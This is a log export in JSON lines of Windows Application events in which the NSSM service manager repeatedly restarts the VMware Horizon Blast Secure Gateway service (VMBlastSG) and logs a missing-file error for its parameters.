{"@timestamp":1646633105760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154195}}
{"@timestamp":1646633105760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154196}}
{"@timestamp":1646633105761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154197}}
{"@timestamp":1646633105762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154198}}
{"@timestamp":1646633234253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154199}}
{"@timestamp":1646633234255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154200}}
{"@timestamp":1646633234255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151468","0"]}}},"module":"Application","provider":"nssm","sequence":154201}}
{"@timestamp":1646633234256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151468","151468","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154202}}
{"@timestamp":1646633234272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154203}}
{"@timestamp":1646633234273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154204}}
{"@timestamp":1646633234273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154205}}
{"@timestamp":1646633234274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154206}}
{"@timestamp":1646633362774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154207}}
{"@timestamp":1646633362776,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154208}}
{"@timestamp":1646633362776,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151060","0"]}}},"module":"Application","provider":"nssm","sequence":154209}}
{"@timestamp":1646633362777,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151060","151060","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154210}}
{"@timestamp":1646633362793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154211}}
{"@timestamp":1646633362793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154212}}
{"@timestamp":1646633362794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154213}}
{"@timestamp":1646633362795,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154214}}
{"@timestamp":1646633491510,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154215}}
{"@timestamp":1646633491511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154216}}
{"@timestamp":1646633491512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150332","0"]}}},"module":"Application","provider":"nssm","sequence":154217}}
{"@timestamp":1646633491512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150332","150332","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154218}}
{"@timestamp":1646633491529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154219}}
{"@timestamp":1646633491530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154220}}
{"@timestamp":1646633491530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154221}}
{"@timestamp":1646633491531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154222}}
{"@timestamp":1646633620038,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154223}}
{"@timestamp":1646633620040,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154224}}
{"@timestamp":1646633620041,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151432","0"]}}},"module":"Application","provider":"nssm","sequence":154225}}
{"@timestamp":1646633620041,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151432","151432","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154226}}
{"@timestamp":1646633620062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154227}}
{"@timestamp":1646633620062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154228}}
{"@timestamp":1646633620063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154229}}
{"@timestamp":1646633620064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154230}}
{"@timestamp":1646633748570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154231}}
{"@timestamp":1646633748572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154232}}
{"@timestamp":1646633748573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150080","0"]}}},"module":"Application","provider":"nssm","sequence":154233}}
{"@timestamp":1646633748573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150080","150080","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154234}}
{"@timestamp":1646633748589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154235}}
{"@timestamp":1646633748589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154236}}
{"@timestamp":1646633748590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154237}}
{"@timestamp":1646633748590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154238}}
{"@timestamp":1646633877108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154239}}
{"@timestamp":1646633877109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154240}}
{"@timestamp":1646633877110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","147500","0"]}}},"module":"Application","provider":"nssm","sequence":154241}}
{"@timestamp":1646633877110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["147500","147500","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154242}}
{"@timestamp":1646633877125,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154243}}
{"@timestamp":1646633877126,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154244}}
{"@timestamp":1646633877126,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154245}}
{"@timestamp":1646633877127,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154246}}
{"@timestamp":1646634005613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154247}}
{"@timestamp":1646634005614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154248}}
{"@timestamp":1646634005615,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150856","0"]}}},"module":"Application","provider":"nssm","sequence":154249}}
{"@timestamp":1646634005615,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150856","150856","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154250}}
{"@timestamp":1646634005635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154251}}
{"@timestamp":1646634005636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154252}}
{"@timestamp":1646634005636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154253}}
{"@timestamp":1646634005637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154254}}
{"@timestamp":1646634134136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154255}}
{"@timestamp":1646634134138,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154256}}
{"@timestamp":1646634134138,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150816","0"]}}},"module":"Application","provider":"nssm","sequence":154257}}
{"@timestamp":1646634134139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150816","150816","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154258}}
{"@timestamp":1646634134155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154259}}
{"@timestamp":1646634134156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154260}}
{"@timestamp":1646634134157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154261}}
{"@timestamp":1646634134157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154262}}
{"@timestamp":1646634262678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154263}}
{"@timestamp":1646634262679,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154264}}
{"@timestamp":1646634262680,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150772","0"]}}},"module":"Application","provider":"nssm","sequence":154265}}
{"@timestamp":1646634262680,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150772","150772","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154266}}
{"@timestamp":1646634262702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154267}}
{"@timestamp":1646634262702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154268}}
{"@timestamp":1646634262703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154269}}
{"@timestamp":1646634262703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154270}}
{"@timestamp":1646634391195,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154271}}
{"@timestamp":1646634391198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154272}}
{"@timestamp":1646634391199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149572","0"]}}},"module":"Application","provider":"nssm","sequence":154273}}
{"@timestamp":1646634391200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149572","149572","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154274}}
{"@timestamp":1646634391219,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154275}}
{"@timestamp":1646634391219,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154276}}
{"@timestamp":1646634391219,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154277}}
{"@timestamp":1646634391220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154278}}
{"@timestamp":1646634519715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154279}}
{"@timestamp":1646634519718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154280}}
{"@timestamp":1646634519719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148840","0"]}}},"module":"Application","provider":"nssm","sequence":154281}}
{"@timestamp":1646634519719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148840","148840","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154282}}
{"@timestamp":1646634519737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154283}}
{"@timestamp":1646634519737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154284}}
{"@timestamp":1646634519738,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154285}}
{"@timestamp":1646634519739,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154286}}
{"@timestamp":1646634648243,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154287}}
{"@timestamp":1646634648244,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154288}}
{"@timestamp":1646634648244,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148628","0"]}}},"module":"Application","provider":"nssm","sequence":154289}}
{"@timestamp":1646634648245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148628","148628","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154290}}
{"@timestamp":1646634648259,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154291}}
{"@timestamp":1646634648260,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154292}}
{"@timestamp":1646634648260,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154293}}
{"@timestamp":1646634648261,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154294}}
{"@timestamp":1646634776765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154295}}
{"@timestamp":1646634776766,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154296}}
{"@timestamp":1646634776767,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151308","0"]}}},"module":"Application","provider":"nssm","sequence":154297}}
{"@timestamp":1646634776767,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151308","151308","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154298}}
{"@timestamp":1646634776784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154299}}
